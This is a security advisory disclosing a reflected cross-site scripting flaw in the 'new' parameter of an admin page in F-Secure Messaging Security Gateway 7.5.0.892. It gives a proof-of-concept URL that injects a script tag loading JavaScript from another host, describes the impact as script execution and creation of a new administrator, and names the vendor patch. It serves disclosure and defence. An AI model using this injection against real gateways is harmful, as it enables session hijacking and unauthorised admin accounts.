I. VULNERABILITY ------------------------- Reflected XSS Attacks vulnerabilities F-Secure Messaging Security Gateway V7.5.0.892 II. BACKGROUND ------------------------- F-Secure Messaging Security Gateway protects your company's confidential data. Users can easily send encrypted e-mails, and the system can automatically block or encrypt a message if it contains confidential data. Messaging Security Gateway also provides the most effective virus and spam filtering on the market, while automated management operations allow your IT administrators to focus on other tasks. III. DESCRIPTION ------------------------- Has been detected a Reflected XSS vulnerability in F-Secure Messaging Security Gateway . The code injection is done through the parameter ?NEW? in the page ?/admin?module=SysUser&method=user&new=? IV. PROOF OF CONCEPT ------------------------- The application does not validate the parameter ?NEW? correctly. https://IP_FSecure:10000/admin?module=SysUser&method=user&new=1><script src=//10.0.1.120/f-secure/e.js CODE: e.js alert("F-Secure XSS"); V. BUSINESS IMPACT ------------------------- An attacker can execute arbitrary HTML or script code in a targeted user's browser, , that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser and create new user administrator. VI. SYSTEMS AFFECTED ------------------------- Tested F-Secure Messaging Security Gateway V7.5.0.892 Virtual Appliance VII. SOLUTION ------------------------- All data received by the application and that can be modified by the user, before making any kind of transaction with them must be validated corretely Upgrade to 7.5.0 Patch 1862 has been applied to all F-Secure Messaging Secure Gateway clusters. VII. REFERENCE http://www.f-secure.com/en/web/labs_global/fsc-2014-2 By William Costa william.costa@gmail.com